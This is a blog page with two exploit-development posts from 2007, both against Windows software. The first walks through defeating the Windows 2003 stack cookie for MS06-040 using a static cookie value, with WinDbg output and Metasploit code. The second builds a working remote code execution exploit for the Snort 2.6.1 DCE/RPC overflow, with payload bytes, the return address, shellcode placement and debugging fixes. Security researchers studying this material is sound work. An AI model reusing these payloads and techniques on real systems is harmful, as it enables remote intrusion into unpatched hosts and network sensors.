Software Vulnerability Exploitation Blog

Tuesday, March 27, 2007

MS06-040 Reloaded: The (More) Easy Way to Bypass Windows 2003 SP0 Stack Protection

First of all, Metasploit 3 is released :) and this is the reason why I pick up this topic to post again.

In Metasploit 3.0, If you view source code of ms06_040_netapi.rb, you will see something has changed from 2.x
...
# Padding
rand_text_alphanumeric(32) +

# The cookie is constant,
# noticed by Nicolas Pouvesle in Misc #28

"\x4e\xe6\x40\xbb" +

# Padding
rand_text_alphanumeric(4) +
...

In Metasploit 3.x code said that the security cookie value used for stack buffer overflow protection is static !!!

If you can remember in previous post, I bypass the stack buffer overflow protection by overwrite the cookie stored in memory. The location that store the cookie is a static memory location in netapi32.dll - 0x71c8c1ec. But I didn't notice that the cookie's value also static !!!

To confirm this, I put break point at NETAPI32!__security_check_cookie and observe the cookie's value

...
0:003> bp NETAPI32!__security_check_cookie
0:003> bl
0 e 71c414f6 0001 (0001) 0:**** NETAPI32!__security_check_cookie


0:003> g

eax=0000084b ebx=00120118 ecx=bb40e64e edx=0000005c esi=0011d0e8 edi=00000000
eip=71c414f6 esp=00e8f4f4 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246

NETAPI32!__security_check_cookie:
71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)] ds:0023:71c8c1ec=bb40e64e
0:013> dd 0x71c8c1ec
71c8c1ec bb40e64e 00000000 00000000 00000000


0:013> g

Breakpoint 0 hit
eax=0000084b ebx=00123270 ecx=bb40e64e edx=0000005c esi=001081e0 edi=00000000
eip=71c414f6 esp=00e8f4f4 ebp=00e8f910 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246


NETAPI32!__security_check_cookie:

71c414f6 3b0decc1c871 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c8c1ec)] ds:0023:71c8c1ec=bb40e64e

0:013> dd 0x71c8c1ec
71c8c1ec bb40e64e 00000000 00000000 00000000

...

As you can see, the cookie's value is always 0xbb40e64e and this value is not changed even though you reboot the system.

Because of the predictable cookie's value, it is more easy to exploit this vulnerability in Windows 2003 Server - just change the bytes that overwrite the cookie in the stack to 0xbb40e64e - the system checks the cookie and it understand that there is nothing happen because the cookie's value is not changed, lol. They are fooled :)

(Note: For Metasploit 3.x, the return address for Windows 2003 SP0 target has changed back to 0x00020804. As I know, this return will turn to 0x02080400 in memory - and the exploit will failed for 2003 target. but when I test the exploit, it is not failed !!! May be I'm wrong some point. I debug this issue by set the shellcode to "\xcc" - break instruction:

...
0:051> g
(384.42c): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0014f5b0 ecx=bb40e64e edx=00e8f94e esi=00162408 edi=00000000
eip=00020804 esp=00e8f92c ebp=51477973 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
00020804 cc int 3

0:010> dd 00020804

00020804 cccccccc cccccccc cccccccc cccccccc
00020814 cccccccc cccccccc cccccccc cccccccc
...

Hey !!!, shellcode is overwrite to 0x00020804 instead of 0x02080400. This is the point that I'm wrong in the previous post)

Now, I know that the buffer overflow protection on Windows 2003 Server for netapi32.dll has the following characteristics:
  • the memory location that store security cookie is static (0x71c8c1ec)
  • the security cookie's value is static (0xbb40e64e)
Then, some questions arise immediately, the other dlls also have these characteristic ? and the newer operating system inherit this flaw ?

To answer the first question, I will investigate another dll, user32.dll, in the same process

...
0:055> u user32!__security_check_cookie
USER32!__security_check_cookie:
77d01ae4 3b0d9cf1d577 cmp ecx,dword ptr [USER32!__security_cookie (77d5f19c)]
77d01aea 0f85b7250400 jne USER32!__security_check_cookie+0x9 (77d440a7)
77d01af0 c3 ret

0:055> dd 0x77d5f19c
77d5f19c bb40e64e 00080000 018a0021 77d00000
77d5f1ac 77e585ea 00000001 00000000 00000064
...

I found that user32.dll has the same netapi32.dll's characteristics:
  • the location memory that store the cookie is static (0x77d5f19c)
  • the security cookie's value is static (0xbb40e6e4)
I repeat this process with ws2_32.dll:

...
0:012> u ws2_32!__security_check_cookie
WS2_32!__security_check_cookie:
71c01790 3b0df451c171 cmp ecx,dword ptr [WS2_32!__security_cookie (71c151f4)]
71c01796 0f85d3a00000 jne WS2_32!__security_check_cookie+0x9 (71c0b86f)
71c0179c c3 ret

0:012> dd 71c151f4
71c151f4 bb40e64e 76f812a4 76f80000 00000001
71c15204 00083980 ffffffff 00000000 00000000
...

The location always at 0x71c151f4 and the cookie's value is 0xbb40e6e4.

Although I do not investigate all for dll in the system, I think the others should have the same properties - static location and static value. But when I debug gdi32.dll and ole32.dll, I found that the location is static, but the cookie's value is not static :( - this flaw exists in some dlls in Windows 2003, not all dlls.

Now, It's Windows 2003 SP1 turn. I will investigate netapi32.dll and gdi32.dll and compare with the old one.

For netapi32.dll:

0:044> u netapi32!__security_check_cookie
NETAPI32!__security_check_cookie:
71c43da0 3b0d7021c971 cmp ecx,dword ptr [NETAPI32!__security_cookie (71c92170)]
71c43da6 0f850b690100 jne NETAPI32!__report_gsfailure (71c5a6b7)
71c43dac f7c10000ffff test ecx,0FFFF0000h
71c43db2 0f85ff680100 jne NETAPI32!__report_gsfailure (71c5a6b7)
71c43db8 c3 ret
...
0:044> dd 71c92170
71c92170 00006773 00000000 00000000 00000000
71c92180 71c47774 71c4776c 00000000 00000000

netapi32!__security_check_cookie's code has changed a little. It insert the code

...
test ecx, 0FFFF000h
jne NETAPI32!__report_gsfailure (71c5a6b7)
...


This code forces the format of cookie - it have to be 0x0000xxxx - more harder to write this value into the memory. However, it is more easier to do the bruteforce cookie (if the situation let us to do that), because it use only 2 bytes :)

For netapi32.dll in Windows 2003 SP1, the cookie's value is no longer static. However, the memory location store the cookie still static - 0x71c92170 for netapi32.dll and 0x77c43014 for gdi32.dll. The technique that I use to exploit MS06-040 vulnerability in Windows 2003 SP0 "overwrite cookie" should (I'm not sure, lol) be work because of the static memory location for store cookie.

Thursday, March 01, 2007

Snort 2.6.1 DCE/RPC Preprocessor Remote Buffer Overflow: Part 2 - Command Execution

In previous post, I had described detailed of Snort DCE/RPC preprocessor vulnerability and how to create a packet that can cause DoS to snort. In this post, I will investigate deeper to find a way to let snort execute shellcode embedded in the packet. I use Snort 2.6.1 + Windows XP SP2 as the testing environment in this post.

First of all, I attach Snort to Windbg and then run the DoS exploit to see how snort crashes:


[root@localhost scapy]# python snort_dcerpc_dos.py 192.168.87.1

(e58.e00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa
eip=030b0005 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
030b0005 ?? ???

Snort crashes because of access violation. EIP is 0x030b0005. I view my code to find the byte “\x05\x00\x0b\x03”, reverse of “\x03\x0b\x00\x05” – network byte order, to find which part of packet the overwrite to EIP:


# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\...

They are the first 4 bytes of DCE/RPC Message that overwrite EIP. Then I view the stack:

0:000> dd esp - 0x10
0012fa10 30024700 00000001 ee004900 030b0005
0012fa20 00000010 00000048 00000001 000110b8
0012fa30 03a6258b 03630caa 03630da8 ffff01ff
0012fa40 03630247 03630caa 00000096 fc590068
0012fa50 03a62d37 03630caa 03630da8 fc590068

Bytes highlighted with green are part of DCE/RPC message that overwrite the stack. I try to make sure that I can control EIP completely by change “\x05\x00\x0b\x03” to “\x44\x43\x42\x41”:


eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa
eip=41424344 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41424344 ?? ???

Yes, I can control EIP. Then, to ensure that Snort can execute some code, I change bytes “\x44\x43\x42\x41” to “\xed\x1e\x94\x7c”, 0x7c941eed (jmp esp) instruction, and change byte after that to “\xcc” – break instruction.


eax=03a81f40 ebx=00000101 ecx=03a81f40 edx=03a81f00 esi=03630da8 edi=03630caa
eip=0012fa20 esp=0012fa20 ebp=03630dda iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0012fa20 cc int 3
0:000> dd esp - 0x8
0012fa18 ee004900 7c941eed 000000cc 00000048
0012fa28 00000001 000110b8 03a6258b 03630caa
0012fa38 03630da8 ffff01ff 03630247 03630caa
0012fa48 00000096 fc590068 03a62d37 03630caa
0012fa58 03630da8 fc590068 00010166 03a625ba
0012fa68 0000002f 03630caa 03630da8 fc590068
0012fa78 00010166 03630caa 00110096 0000002f
0012fa88 03a62d37 03630caa 03630d40 fff000d0

Snort executes my “cc” instruction. The next thing I have to do is the change “\xcc” byte and beyond to my shellcode, nop + make stack happy code and windows/exec calc.exe from metasploit. But after I run the exploit, Snort crashes instead of calling calc.exe. I decide to add bytes “\xcc” after the return address to see the shellcode in stack:


0012fa20 cc int 3
0:000> dd esp
0012fa20 ffc481cc 44ffffef e983c931 0001d9dd
0012fa30 03a6258b 03630b92 03630c90 ffff01ff

As you can see, only parts of shellcode are in the stack. I forgot the change the value that control how many bytes that overwrite the stack, lol.


# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

With this value 0x0130 I can write 14 bytes of shellcode to the stack. Shellcode’s length is 172 bytes (return address is not included), I have to write more 158 (0x9e) bytes into the stack. So I change 0x0130 to 0x01ce (0x9e (158) + 0x130). I run the exploit again, but I got the problem that there is nothing happened - -“

I try to reduce 0x1ce to 0x1cd:


0:000> dd esp
0012fa20 ffc481cc 44ffffef e983c931 d9eed9dd
0012fa30 5bf42474 a9137381 83f580d1 f4e2fceb
0012fa40 f5c43955 b00bd1a9 f0fc5a95 7e6fd0d1
0012fa50 aa0bc9e6 bc6bd089 f40be522 6c40e047
0012fa60 81405505 f84a10ae 016b13a8 f1a48592
0012fa70 aa0b34dc 936bd08d 7ecbdd22 1e81cdf6
0012fa80 f40bcd22 d1dc5842 35b112ad c5c05acd
0012fa90 f9f8112c 7e8c9122 7e2dcdd9 fc6bd9c1
0:000> dd
0012faa0 f5305122 9d0bd1a9 03b18e95 0d0987c9
0012fab0 a5fb112a 1758afc1 0b18b9da 0ad7df23
0012fac0 99e1b24e 8de5ffca 0380d1cc fff0017c

The value 0x1cd write 171 bytes into the stack, but 0x1ce there is nothing happened. Seem the last byte is the problem. After I debug and investigate, I found that when I use 0x1ce as the number bytes to overwrite, Snort doesn’t process the packet because of this code in ProcessSMBWriteX():


if ( writeX->dataOffset >= total_size )
{
return 0;
}

To solve this problem, I add the padding after the shellcode “\x90” and run the exploit. Calc.exe is called !!!. Yeah, mission complete. To confirm that this calc program is called by snort, I use process explorer and view it’s properties

Photobucket - Video and Image Hosting

As you can see, the current working directory is C:\Snort\bin, this could be imply that it is called by snort.exe :)

P.S. One thing that should not forget in modification of this exploit is that change the size of SMB packet to the correct one.

...
# NetBIOS Session Services
payload = "\x00\x00\x02\xab"
...

This value should be equal or greater than size of SMB packet.